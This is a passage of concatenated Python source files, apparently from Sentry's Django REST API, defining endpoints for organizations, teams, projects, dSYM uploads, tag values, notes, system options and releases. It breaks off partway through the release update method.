from sentry.api.base import DocSection, Endpoint
from sentry.api.bases.organization import OrganizationPermission
from sentry.api.paginator import DateTimePaginator, OffsetPaginator
from sentry.api.serializers import serialize
from sentry.models import (
    AuditLogEntryEvent, Organization, OrganizationMember, OrganizationStatus,
    ProjectPlatform
)
from sentry.search.utils import tokenize_query, in_iexact
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListYourOrganizations')
def list_your_organizations_scenario(runner):
    runner.request(
        method='GET',
        path='/organizations/'
    )


class OrganizationSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=64, required=True)
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50,
                                  required=False)


class OrganizationIndexEndpoint(Endpoint):
    doc_section = DocSection.ORGANIZATIONS
    permission_classes = (OrganizationPermission,)

    @attach_scenarios([list_your_organizations_scenario])
    def get(self, request):
        """
        List your Organizations
        ```````````````````````

        Return a list of organizations available to the authenticated
        session.  This is particularly useful for requests with an
        user bound context.  For API key based requests this will
        only return the organization that belongs to the key.

        :qparam bool member: restrict results to organizations which you have
                             membership

        :auth: required
        """
        member_only = request.GET.get('member') in ('1', 'true')

        queryset = Organization.objects.filter(
            status=OrganizationStatus.VISIBLE,
        )

        if request.auth and not request.user.is_authenticated():
            if hasattr(request.auth, 'project'):
                queryset = queryset.filter(
                    id=request.auth.project.organization_id
                )
            elif request.auth.organization is not None:
                queryset = queryset.filter(
                    id=request.auth.organization.id
                )
        elif member_only or not request.is_superuser():
            queryset = queryset.filter(
                id__in=OrganizationMember.objects.filter(
                    user=request.user,
                ).values('organization'),
            )

        query = request.GET.get('query')
        if query:
            tokens = tokenize_query(query)
            for key, value in six.iteritems(tokens):
                if key == 'query':
                    value = ' '.join(value)
                    queryset = queryset.filter(
                        Q(name__icontains=value) |
                        Q(slug__icontains=value) |
                        Q(members__email__iexact=value)
                    )
                elif key == 'slug':
                    queryset = queryset.filter(
                        in_iexact('slug', value)
                    )
                elif key == 'email':
                    queryset = queryset.filter(
                        in_iexact('members__email', value)
                    )
                elif key == 'platform':
                    queryset = queryset.filter(
                        project__in=ProjectPlatform.objects.filter(
                            platform__in=value,
                        ).values('project_id')
                    )

        sort_by = request.GET.get('sortBy')
        if sort_by == 'members':
            queryset = queryset.annotate(
                member_count=Count('member_set'),
            )
            order_by = '-member_count'
            paginator_cls = OffsetPaginator
        elif sort_by == 'projects':
            queryset = queryset.annotate(
                project_count=Count('project'),
            )
            order_by = '-project_count'
            paginator_cls = OffsetPaginator
        elif sort_by == 'events':
            queryset = queryset.annotate(
                event_count=Sum('stats__events_24h'),
            ).filter(
                stats__events_24h__isnull=False,
            )
            order_by = '-event_count'
            paginator_cls = OffsetPaginator
        else:
            order_by = '-date_added'
            paginator_cls = DateTimePaginator

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by=order_by,
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=paginator_cls,
        )

    # XXX: endpoint useless for end-users as it needs user context.
    def post(self, request):
        """
        Create a New Organization
        `````````````````````````

        Create a new organization owned by the request's user.  To create
        an organization only the name is required.

        :param string name: the human readable name for the new organization.
        :param string slug: the unique URL slug for this organization.  If
                            this is not provided a slug is automatically
                            generated based on the name.
        :auth: required, user-context-needed
        """
        if not request.user.is_authenticated():
            return Response({'detail': 'This endpoint requires user info'},
                            status=401)

        serializer = OrganizationSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            try:
                with transaction.atomic():
                    org = Organization.objects.create(
                        name=result['name'],
                        slug=result.get('slug'),
                    )
            except IntegrityError:
                return Response(
                    {'detail': 'An organization with this slug already exists.'},
                    status=409,
                )

            OrganizationMember.objects.create(
                user=request.user,
                organization=org,
                role=roles.get_top_dog().id,
            )

            self.create_audit_entry(
                request=request,
                organization=org,
                target_object=org.id,
                event=AuditLogEntryEvent.ORG_ADD,
                data=org.get_audit_log_data(),
            )

            return Response(serialize(org, request.user), status=201)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from rest_framework.negotiation import DefaultContentNegotiation
from rest_framework.parsers import FormParser, MultiPartParser
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.base import Endpoint
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.permissions import SystemPermission
from sentry.api.paginator import OffsetPaginator
from sentry.api.serializers import serialize
from sentry.models import ProjectDSymFile, create_files_from_macho_zip, \
    find_missing_dsym_files

ERR_FILE_EXISTS = 'A file matching this uuid already exists'


def upload_from_request(request, project=None):
    if 'file' not in request.FILES:
        return Response({'detail': 'Missing uploaded file'}, status=400)
    fileobj = request.FILES['file']
    files = create_files_from_macho_zip(fileobj, project=project)
    return Response(serialize(files, request.user), status=201)


class ConditionalContentNegotiation(DefaultContentNegotiation):
    """
    Overrides the parsers on POST to support file uploads.
    """
    def select_parser(self, request, parsers):
        if request.method == 'POST':
            parsers = [FormParser(), MultiPartParser()]

        return super(ConditionalContentNegotiation, self).select_parser(
            request, parsers
        )


class DSymFilesEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    content_negotiation_class = ConditionalContentNegotiation

    def get(self, request, project):
        """
        List a Project's DSym Files
        ```````````````````````````

        Retrieve a list of dsym files for a given project.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to list the
                                     dsym files of.
        :auth: required
        """
        file_list = ProjectDSymFile.objects.filter(
            project=project
        ).select_related('file').order_by('name')

        return self.paginate(
            request=request,
            queryset=file_list,
            order_by='-file__timestamp',
            paginator_cls=OffsetPaginator,
            on_results=lambda x: serialize(x, request.user),
        )

    def post(self, request, project):
        """
        Upload a New Files
        ``````````````````

        Upload a new dsym file for the given release.

        Unlike other API requests, files must be uploaded using the
        traditional multipart/form-data content-type.

        The file uploaded is a zip archive of a Apple .dSYM folder which
        contains the individual debug images.  Uploading through this endpoint
        will create different files for the contained images.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to change the
                                     release of.
        :param file file: the multipart encoded file.
        :auth: required
        """
        return upload_from_request(request, project=project)


class GlobalDSymFilesEndpoint(Endpoint):
    permission_classes = (SystemPermission,)

    def post(self, request):
        return upload_from_request(request, project=None)


class UnknownDSymFilesEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    def get(self, request, project):
        checksums = request.GET.getlist('checksums')
        missing = find_missing_dsym_files(checksums, project=project)
        return Response({'missing': missing})


class UnknownGlobalDSymFilesEndpoint(Endpoint):
    permission_classes = (SystemPermission,)

    def get(self, request):
        checksums = request.GET.getlist('checksums')
        missing = find_missing_dsym_files(checksums, project=None)
        return Response({'missing': missing})






from __future__ import absolute_import

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import TagKey, TagKeyStatus, TagValue
from sentry.utils.db import is_postgres


class ProjectTagKeyValuesEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS

    def get(self, request, project, key):
        """
        List a Tag's Values
        ```````````````````

        Return a list of values associated with this key.  The `query`
        parameter can be used to to perform a "starts with" match on
        values.

        :pparam string organization_slug: the slug of the organization.
        :pparam string project_slug: the slug of the project.
        :pparam string key: the tag key to look up.
        :auth: required
        """
        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        try:
            tagkey = TagKey.objects.get(
                project=project,
                key=lookup_key,
                status=TagKeyStatus.VISIBLE,
            )
        except TagKey.DoesNotExist:
            raise ResourceDoesNotExist

        base_queryset = TagValue.objects.filter(
            project=project,
            key=tagkey.key,
        )

        query = request.GET.get('query')
        if query:
            if is_postgres():
                # not quite optimal, but best we can do with ORM
                queryset = TagValue.objects.filter(
                    id__in=base_queryset.order_by('-times_seen')[:10000]
                )
            else:
                # MySQL can't handle an `IN` with a `LIMIT` clause
                queryset = base_queryset
            queryset = queryset.filter(value__contains=query)

        else:
            queryset = TagValue.objects.filter(
                project=project,
                key=tagkey.key,
            )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-times_seen',
            on_results=lambda x: serialize(x, request.user),
        )






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from rest_framework import status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.group import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.api.serializers.rest_framework.group_notes import NoteSerializer
from sentry.models import Activity, GroupSubscription, GroupSubscriptionReason
from sentry.utils.functional import extract_lazy_object


class GroupNotesEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    def get(self, request, group):
        notes = Activity.objects.filter(
            group=group,
            type=Activity.NOTE,
        ).select_related('user')

        return self.paginate(
            request=request,
            queryset=notes,
            # TODO(dcramer): we want to sort by datetime
            order_by='-id',
            on_results=lambda x: serialize(x, request.user),
        )

    def post(self, request, group):
        serializer = NoteSerializer(data=request.DATA)
        if not serializer.is_valid():
            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

        data = dict(serializer.object)

        if Activity.objects.filter(
            group=group,
            type=Activity.NOTE,
            user=request.user,
            data=data,
            datetime__gte=timezone.now() - timedelta(hours=1)
        ).exists():
            return Response('{"detail": "You have already posted that comment."}',
                            status=status.HTTP_400_BAD_REQUEST)

        GroupSubscription.objects.subscribe(
            group=group,
            user=request.user,
            reason=GroupSubscriptionReason.comment,
        )

        activity = Activity.objects.create(
            group=group,
            project=group.project,
            type=Activity.NOTE,
            user=extract_lazy_object(request.user),
            data=data,
        )

        activity.send_notification()

        return Response(serialize(activity, request.user), status=201)






from __future__ import absolute_import

import six

import sentry

from django.conf import settings
from rest_framework.response import Response

from sentry import options
from sentry.api.base import Endpoint
from sentry.api.permissions import SuperuserPermission
from sentry.utils.email import is_smtp_enabled


class SystemOptionsEndpoint(Endpoint):
    permission_classes = (SuperuserPermission,)

    def get(self, request):
        query = request.GET.get('query')
        if query == 'is:required':
            option_list = options.filter(flag=options.FLAG_REQUIRED)
        elif query:
            return Response('{} is not a supported search query'.format(query), status=400)
        else:
            option_list = options.all()

        smtp_disabled = not is_smtp_enabled()

        results = {}
        for k in option_list:
            disabled, disabled_reason = False, None

            if smtp_disabled and k.name[:5] == 'mail.':
                disabled_reason, disabled = 'smtpDisabled', True
            elif bool(k.flags & options.FLAG_PRIORITIZE_DISK and settings.SENTRY_OPTIONS.get(k.name)):
                # TODO(mattrobenolt): Expose this as a property on Key.
                disabled_reason, disabled = 'diskPriority', True

            # TODO(mattrobenolt): help, placeholder, title, type
            results[k.name] = {
                'value': options.get(k.name),
                'field': {
                    'default': k.default(),
                    'required': bool(k.flags & options.FLAG_REQUIRED),
                    'disabled': disabled,
                    'disabledReason': disabled_reason,
                    'isSet': options.isset(k.name),
                    'allowEmpty': bool(k.flags & options.FLAG_ALLOW_EMPTY),
                }
            }

        return Response(results)

    def put(self, request):
        # TODO(dcramer): this should validate options before saving them
        for k, v in six.iteritems(request.DATA):
            if v and isinstance(v, six.string_types):
                v = v.strip()
            try:
                option = options.lookup_key(k)
            except options.UnknownOption:
                # TODO(dcramer): unify API errors
                return Response({
                    'error': 'unknown_option',
                    'errorDetail': {
                        'option': k,
                    },
                }, status=400)

            try:
                if not (option.flags & options.FLAG_ALLOW_EMPTY) and not v:
                    options.delete(k)
                else:
                    options.set(k, v)
            except TypeError as e:
                return Response({
                    'error': 'invalid_type',
                    'errorDetail': {
                        'option': k,
                        'message': six.text_type(e),
                    },
                }, status=400)
        # TODO(dcramer): this has nothing to do with configuring options and
        # should not be set here
        options.set('sentry:version-configured', sentry.get_version())
        return Response(status=200)






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.organization import OrganizationEndpoint
from sentry.api.serializers import serialize
from sentry.api.serializers.models.team import TeamWithProjectsSerializer
from sentry.models import (
    AuditLogEntryEvent, OrganizationMember, OrganizationMemberTeam,
    Team, TeamStatus
)
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('CreateNewTeam')
def create_new_team_scenario(runner):
    runner.request(
        method='POST',
        path='/organizations/%s/teams/' % runner.org.slug,
        data={
            'name': 'Ancient Gabelers',
        }
    )


@scenario('ListOrganizationTeams')
def list_organization_teams_scenario(runner):
    runner.request(
        method='GET',
        path='/organizations/%s/teams/' % runner.org.slug
    )


class TeamSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=200, required=True)
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50,
                                  required=False)


class OrganizationTeamsEndpoint(OrganizationEndpoint):
    doc_section = DocSection.TEAMS

    @attach_scenarios([list_organization_teams_scenario])
    def get(self, request, organization):
        """
        List an Organization's Teams
        ````````````````````````````

        Return a list of teams bound to a organization.

        :pparam string organization_slug: the slug of the organization for
                                          which the teams should be listed.
        :auth: required
        """
        # TODO(dcramer): this should be system-wide default for organization
        # based endpoints
        if request.auth and hasattr(request.auth, 'project'):
            return Response(status=403)

        team_list = list(Team.objects.filter(
            organization=organization,
            status=TeamStatus.VISIBLE,
        ).order_by('name', 'slug'))

        return Response(serialize(
            team_list, request.user, TeamWithProjectsSerializer()))

    @attach_scenarios([create_new_team_scenario])
    def post(self, request, organization):
        """
        Create a new Team
        ``````````````````

        Create a new team bound to an organization.  Only the name of the
        team is needed to create it, the slug can be auto generated.

        :pparam string organization_slug: the slug of the organization the
                                          team should be created for.
        :param string name: the name of the organization.
        :param string slug: the optional slug for this organization.  If
                            not provided it will be auto generated from the
                            name.
        :auth: required
        """
        serializer = TeamSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            try:
                with transaction.atomic():
                    team = Team.objects.create(
                        name=result['name'],
                        slug=result.get('slug'),
                        organization=organization,
                    )
            except IntegrityError:
                return Response(
                    {'detail': 'A team with this slug already exists.'},
                    status=409,
                )

            if request.user.is_authenticated():
                try:
                    member = OrganizationMember.objects.get(
                        user=request.user,
                        organization=organization,
                    )
                except OrganizationMember.DoesNotExist:
                    pass
                else:
                    OrganizationMemberTeam.objects.create(
                        team=team,
                        organizationmember=member,
                    )

            self.create_audit_entry(
                request=request,
                organization=organization,
                target_object=team.id,
                event=AuditLogEntryEvent.TEAM_ADD,
                data=team.get_audit_log_data(),
            )

            return Response(serialize(team, request.user), status=201)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from django.db.models import Q

from sentry.api.bases.user import UserEndpoint
from sentry.api.paginator import OffsetPaginator
from sentry.api.serializers import serialize
from sentry.models import (
    Organization, OrganizationMember, OrganizationStatus
)


class UserOrganizationsEndpoint(UserEndpoint):
    def get(self, request, user):
        queryset = Organization.objects.filter(
            status=OrganizationStatus.VISIBLE,
            id__in=OrganizationMember.objects.filter(
                user=user,
            ).values('organization'),
        )

        query = request.GET.get('query')
        if query:
            queryset = queryset.filter(
                Q(name__icontains=query) | Q(slug__icontains=query),
            )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='name',
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=OffsetPaginator,
        )






from __future__ import absolute_import

import logging

from datetime import timedelta
from django.db import IntegrityError, transaction
from django.utils import timezone
from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint, ProjectPermission
from sentry.api.decorators import sudo_required
from sentry.api.serializers import serialize
from sentry.models import (
    AuditLogEntryEvent, Group, GroupStatus, Project, ProjectBookmark,
    ProjectStatus, UserOption
)
from sentry.plugins import plugins
from sentry.tasks.deletion import delete_project
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('GetProject')
def get_project_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/' % (
            runner.org.slug, runner.default_project.slug)
    )


@scenario('DeleteProject')
def delete_project_scenario(runner):
    with runner.isolated_project('Plain Proxy') as project:
        runner.request(
            method='DELETE',
            path='/projects/%s/%s/' % (
                runner.org.slug, project.slug)
        )


@scenario('UpdateProject')
def update_project_scenario(runner):
    with runner.isolated_project('Plain Proxy') as project:
        runner.request(
            method='PUT',
            path='/projects/%s/%s/' % (
                runner.org.slug, project.slug),
            data={
                'name': 'Plane Proxy',
                'slug': 'plane-proxy',
                'options': {
                    'sentry:origins': 'http://example.com\nhttp://example.invalid',
                }
            }
        )


def clean_newline_inputs(value):
    result = []
    for v in value.split('\n'):
        v = v.lower().strip()
        if v:
            result.append(v)
    return result


class ProjectMemberSerializer(serializers.Serializer):
    isBookmarked = serializers.BooleanField()
    isSubscribed = serializers.BooleanField()


class ProjectAdminSerializer(serializers.Serializer):
    isBookmarked = serializers.BooleanField()
    isSubscribed = serializers.BooleanField()
    name = serializers.CharField(max_length=200)
    slug = serializers.RegexField(r'^[a-z0-9_\-]+$', max_length=50)


class RelaxedProjectPermission(ProjectPermission):
    scope_map = {
        'GET': ['project:read', 'project:write', 'project:delete'],
        'POST': ['project:write', 'project:delete'],
        # PUT checks for permissions based on fields
        'PUT': ['project:read', 'project:write', 'project:delete'],
        'DELETE': ['project:delete'],
    }


class ProjectDetailsEndpoint(ProjectEndpoint):
    doc_section = DocSection.PROJECTS
    permission_classes = [RelaxedProjectPermission]

    def _get_unresolved_count(self, project):
        queryset = Group.objects.filter(
            status=GroupStatus.UNRESOLVED,
            project=project,
        )

        resolve_age = project.get_option('sentry:resolve_age', None)
        if resolve_age:
            queryset = queryset.filter(
                last_seen__gte=timezone.now() - timedelta(hours=int(resolve_age)),
            )

        return queryset.count()

    @attach_scenarios([get_project_scenario])
    def get(self, request, project):
        """
        Retrieve a Project
        ``````````````````

        Return details on an individual project.

        :pparam string organization_slug: the slug of the organization the
                                          project belongs to.
        :pparam string project_slug: the slug of the project to delete.
        :auth: required
        """
        active_plugins = [
            {
                'name': plugin.get_title(),
                'id': plugin.slug,
            }
            for plugin in plugins.configurable_for_project(project, version=None)
            if plugin.is_enabled(project)
            and plugin.has_project_conf()
        ]

        data = serialize(project, request.user)
        data['options'] = {
            'sentry:origins': '\n'.join(project.get_option('sentry:origins', ['*']) or []),
            'sentry:resolve_age': int(project.get_option('sentry:resolve_age', 0)),
            'sentry:scrub_data': bool(project.get_option('sentry:scrub_data', True)),
            'sentry:scrub_defaults': bool(project.get_option('sentry:scrub_defaults', True)),
            'sentry:sensitive_fields': project.get_option('sentry:sensitive_fields', []),
            'sentry:csp_ignored_sources_defaults': bool(project.get_option('sentry:csp_ignored_sources_defaults', True)),
            'sentry:csp_ignored_sources': '\n'.join(project.get_option('sentry:csp_ignored_sources', []) or []),
            'sentry:default_environment': project.get_option('sentry:default_environment'),
            'feedback:branding': project.get_option('feedback:branding', '1') == '1',
        }
        data['activePlugins'] = active_plugins
        data['team'] = serialize(project.team, request.user)
        data['organization'] = serialize(project.organization, request.user)

        include = set(filter(bool, request.GET.get('include', '').split(',')))
        if 'stats' in include:
            data['stats'] = {
                'unresolved': self._get_unresolved_count(project),
            }

        return Response(data)

    @attach_scenarios([update_project_scenario])
    def put(self, request, project):
        """
        Update a Project
        ````````````````

        Update various attributes and configurable settings for the given
        project.  Only supplied values are updated.

        :pparam string organization_slug: the slug of the organization the
                                          project belongs to.
        :pparam string project_slug: the slug of the project to delete.
        :param string name: the new name for the project.
        :param string slug: the new slug for the project.
        :param boolean isBookmarked: in case this API call is invoked with a
                                     user context this allows changing of
                                     the bookmark flag.
        :param object options: optional options to override in the
                               project settings.
        :auth: required
        """
        has_project_write = (
            (request.auth and request.auth.has_scope('project:write')) or
            (request.access and request.access.has_scope('project:write'))
        )

        if has_project_write:
            serializer_cls = ProjectAdminSerializer
        else:
            serializer_cls = ProjectMemberSerializer

        serializer = serializer_cls(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object

        changed = False
        if result.get('slug'):
            project.slug = result['slug']
            changed = True

        if result.get('name'):
            project.name = result['name']
            changed = True

        if changed:
            project.save()

        if result.get('isBookmarked'):
            try:
                with transaction.atomic():
                    ProjectBookmark.objects.create(
                        project_id=project.id,
                        user=request.user,
                    )
            except IntegrityError:
                pass
        elif result.get('isBookmarked') is False:
            ProjectBookmark.objects.filter(
                project_id=project.id,
                user=request.user,
            ).delete()

        if result.get('isSubscribed'):
            UserOption.objects.set_value(request.user, project, 'mail:alert', 1)
        elif result.get('isSubscribed') is False:
            UserOption.objects.set_value(request.user, project, 'mail:alert', 0)

        if has_project_write:
            options = request.DATA.get('options', {})
            if 'sentry:origins' in options:
                project.update_option(
                    'sentry:origins',
                    clean_newline_inputs(options['sentry:origins'])
                )
            if 'sentry:resolve_age' in options:
                project.update_option('sentry:resolve_age', int(options['sentry:resolve_age']))
            if 'sentry:scrub_data' in options:
                project.update_option('sentry:scrub_data', bool(options['sentry:scrub_data']))
            if 'sentry:scrub_defaults' in options:
                project.update_option('sentry:scrub_defaults', bool(options['sentry:scrub_defaults']))
            if 'sentry:sensitive_fields' in options:
                project.update_option(
                    'sentry:sensitive_fields',
                    [s.strip().lower() for s in options['sentry:sensitive_fields']]
                )
            if 'sentry:csp_ignored_sources_defaults' in options:
                project.update_option('sentry:csp_ignored_sources_defaults', bool(options['sentry:csp_ignored_sources_defaults']))
            if 'sentry:csp_ignored_sources' in options:
                project.update_option(
                    'sentry:csp_ignored_sources',
                    clean_newline_inputs(options['sentry:csp_ignored_sources']))
            if 'feedback:branding' in options:
                project.update_option('feedback:branding', '1' if options['feedback:branding'] else '0')

            self.create_audit_entry(
                request=request,
                organization=project.organization,
                target_object=project.id,
                event=AuditLogEntryEvent.PROJECT_EDIT,
                data=project.get_audit_log_data(),
            )

        data = serialize(project, request.user)
        data['options'] = {
            'sentry:origins': '\n'.join(project.get_option('sentry:origins', ['*']) or []),
            'sentry:resolve_age': int(project.get_option('sentry:resolve_age', 0)),
        }
        return Response(data)

    @attach_scenarios([delete_project_scenario])
    @sudo_required
    def delete(self, request, project):
        """
        Delete a Project
        ````````````````

        Schedules a project for deletion.

        Deletion happens asynchronously and therefor is not immediate.
        However once deletion has begun the state of a project changes and
        will be hidden from most public views.

        :pparam string organization_slug: the slug of the organization the
                                          project belongs to.
        :pparam string project_slug: the slug of the project to delete.
        :auth: required
        """
        if project.is_internal_project():
            return Response('{"error": "Cannot remove projects internally used by Sentry."}',
                            status=status.HTTP_403_FORBIDDEN)

        logging.getLogger('sentry.deletions').info(
            'Project %s/%s (id=%s) removal requested by user (id=%s)',
            project.organization.slug, project.slug, project.id, request.user.id)

        updated = Project.objects.filter(
            id=project.id,
            status=ProjectStatus.VISIBLE,
        ).update(status=ProjectStatus.PENDING_DELETION)
        if updated:
            delete_project.delay(object_id=project.id, countdown=3600)

            self.create_audit_entry(
                request=request,
                organization=project.organization,
                target_object=project.id,
                event=AuditLogEntryEvent.PROJECT_REMOVE,
                data=project.get_audit_log_data(),
            )

        return Response(status=204)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.app import tsdb
from sentry.api.base import Endpoint, StatsMixin
from sentry.api.permissions import SuperuserPermission


class InternalStatsEndpoint(Endpoint, StatsMixin):
    permission_classes = (SuperuserPermission,)

    def get(self, request):
        key = request.GET['key']

        data = tsdb.get_range(
            model=tsdb.models.internal,
            keys=[key],
            **self._parse_args(request)
        )[key]

        return Response(data)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.organization import OrganizationEndpoint
from sentry.api.serializers import serialize
from sentry.models import Project, Team
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListOrganizationProjects')
def list_organization_projects_scenario(runner):
    runner.request(
        method='GET',
        path='/organizations/%s/projects/' % runner.org.slug
    )


class OrganizationProjectsEndpoint(OrganizationEndpoint):
    doc_section = DocSection.ORGANIZATIONS

    @attach_scenarios([list_organization_projects_scenario])
    def get(self, request, organization):
        """
        List an Organization's Projects
        ```````````````````````````````

        Return a list of projects bound to a organization.

        :pparam string organization_slug: the slug of the organization for
                                          which the projects should be listed.
        :auth: required
        """
        if request.auth and not request.user.is_authenticated():
            # TODO: remove this, no longer supported probably
            if hasattr(request.auth, 'project'):
                team_list = [request.auth.project.team]
                project_list = [request.auth.project]
            elif request.auth.organization is not None:
                org = request.auth.organization
                team_list = list(Team.objects.filter(
                    organization=org,
                ))
                project_list = list(Project.objects.filter(
                    team__in=team_list,
                ).order_by('name'))
            else:
                return Response({'detail': 'Current access does not point to '
                                 'organization.'}, status=400)
        else:
            team_list = list(request.access.teams)
            project_list = list(Project.objects.filter(
                team__in=team_list,
            ).order_by('name'))

        team_map = {
            d['id']: d
            for d in serialize(team_list, request.user)
        }

        context = []
        for project, pdata in zip(project_list, serialize(project_list, request.user)):
            assert six.text_type(project.id) == pdata['id']
            pdata['team'] = team_map[six.text_type(project.team_id)]
            context.append(pdata)

        return Response(context)






from __future__ import absolute_import

from rest_framework.response import Response
from six.moves import range

from sentry.app import tsdb
from sentry.api.base import DocSection, StatsMixin
from sentry.api.bases.team import TeamEndpoint
from sentry.models import Project
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('RetrieveEventCountsTeam')
def retrieve_event_counts_team(runner):
    runner.request(
        method='GET',
        path='/teams/%s/%s/stats/' % (
            runner.org.slug, runner.default_team.slug)
    )


class TeamStatsEndpoint(TeamEndpoint, StatsMixin):
    doc_section = DocSection.TEAMS

    @attach_scenarios([retrieve_event_counts_team])
    def get(self, request, team):
        """
        Retrieve Event Counts for a Team
        ````````````````````````````````

        .. caution::
           This endpoint may change in the future without notice.

        Return a set of points representing a normalized timestamp and the
        number of events seen in the period.

        Query ranges are limited to Sentry's configured time-series
        resolutions.

        :pparam string organization_slug: the slug of the organization.
        :pparam string team_slug: the slug of the team.
        :qparam string stat: the name of the stat to query (``"received"``,
                             ``"rejected"``)
        :qparam timestamp since: a timestamp to set the start of the query
                                 in seconds since UNIX epoch.
        :qparam timestamp until: a timestamp to set the end of the query
                                 in seconds since UNIX epoch.
        :qparam string resolution: an explicit resolution to search
                                   for (eg: ``10s``).  This should not be
                                   used unless you are familiar with Sentry's
                                   internals as it's restricted to pre-defined
                                   values.
        :auth: required
        """
        projects = Project.objects.get_for_user(
            team=team,
            user=request.user,
        )

        if not projects:
            return Response([])

        data = list(tsdb.get_range(
            model=tsdb.models.project,
            keys=[p.id for p in projects],
            **self._parse_args(request)
        ).values())

        summarized = []
        for n in range(len(data[0])):
            total = sum(d[n][1] for d in data)
            summarized.append((data[0][n][0], total))

        return Response(summarized)






from __future__ import absolute_import

from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint, ProjectReleasePermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import Group, Release, ReleaseFile
from sentry.utils.apidocs import scenario, attach_scenarios

ERR_RELEASE_REFERENCED = "This release is referenced by active issues and cannot be removed."


@scenario('RetrieveRelease')
def retrieve_release_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/releases/%s/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version)
    )


@scenario('UpdateRelease')
def update_release_scenario(runner):
    release = runner.utils.create_release(runner.default_project,
                                          runner.me, version='3000')
    runner.request(
        method='PUT',
        path='/projects/%s/%s/releases/%s/' % (
            runner.org.slug, runner.default_project.slug,
            release.version),
        data={
            'url': 'https://vcshub.invalid/user/project/refs/deadbeef1337',
            'ref': 'deadbeef1337'
        }
    )

# TODO(dcramer): this can't work with the current fixtures
# as an existing Group references the Release
# @scenario('DeleteRelease')
# def delete_release_scenario(runner):
#     release = runner.utils.create_release(runner.default_project,
#                                           runner.me, version='4000')
#     runner.request(
#         method='DELETE',
#         path='/projects/%s/%s/releases/%s/' % (
#             runner.org.slug, runner.default_project.slug,
#             release.version)
#     )


class ReleaseSerializer(serializers.Serializer):
    ref = serializers.CharField(max_length=64, required=False)
    url = serializers.URLField(required=False)
    dateStarted = serializers.DateTimeField(required=False)
    dateReleased = serializers.DateTimeField(required=False)


class ReleaseDetailsEndpoint(ProjectEndpoint):
    doc_section = DocSection.RELEASES
    permission_classes = (ProjectReleasePermission,)

    @attach_scenarios([retrieve_release_scenario])
    def get(self, request, project, version):
        """
        Retrieve a Release
        ``````````````````

        Return details on an individual release.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to retrieve the
                                     release of.
        :pparam string version: the version identifier of the release.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        return Response(serialize(release, request.user))

    @attach_scenarios([update_release_scenario])
    def put(self, request, project, version):
        """
        Update a Release
        ````````````````

        Update a release.  This can change some metadata associated with
        the release (the ref, url, and dates).

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to change the
                                     release of.
        :pparam string version: the version identifier of the release.
        :param string ref: an optional commit reference.  This is useful if
                           a tagged version has been provided.
        :param url url: a URL that points to the release.  This can be the
                        path to an online interface to the sourcecode
                        for instance.
        :param datetime dateStarted: an optional date that indicates when the
                                     release process started.
        :param datetime dateReleased: an optional date that indicates when
                                      the release went live.  If not provided
                                      the current time is assumed.
        :auth: required
        """
        # TODO(dcramer): handle Activity creation
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        serializer = ReleaseSerializer(data=request.DATA, partial=True)

        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object

        kwargs = {}
        if result.get('dateStarted'):
            kwargs['date_started'] = result['dateStarted']
        if result.get('dateReleased'):
            kwargs['date_released'] = result['dateReleased']
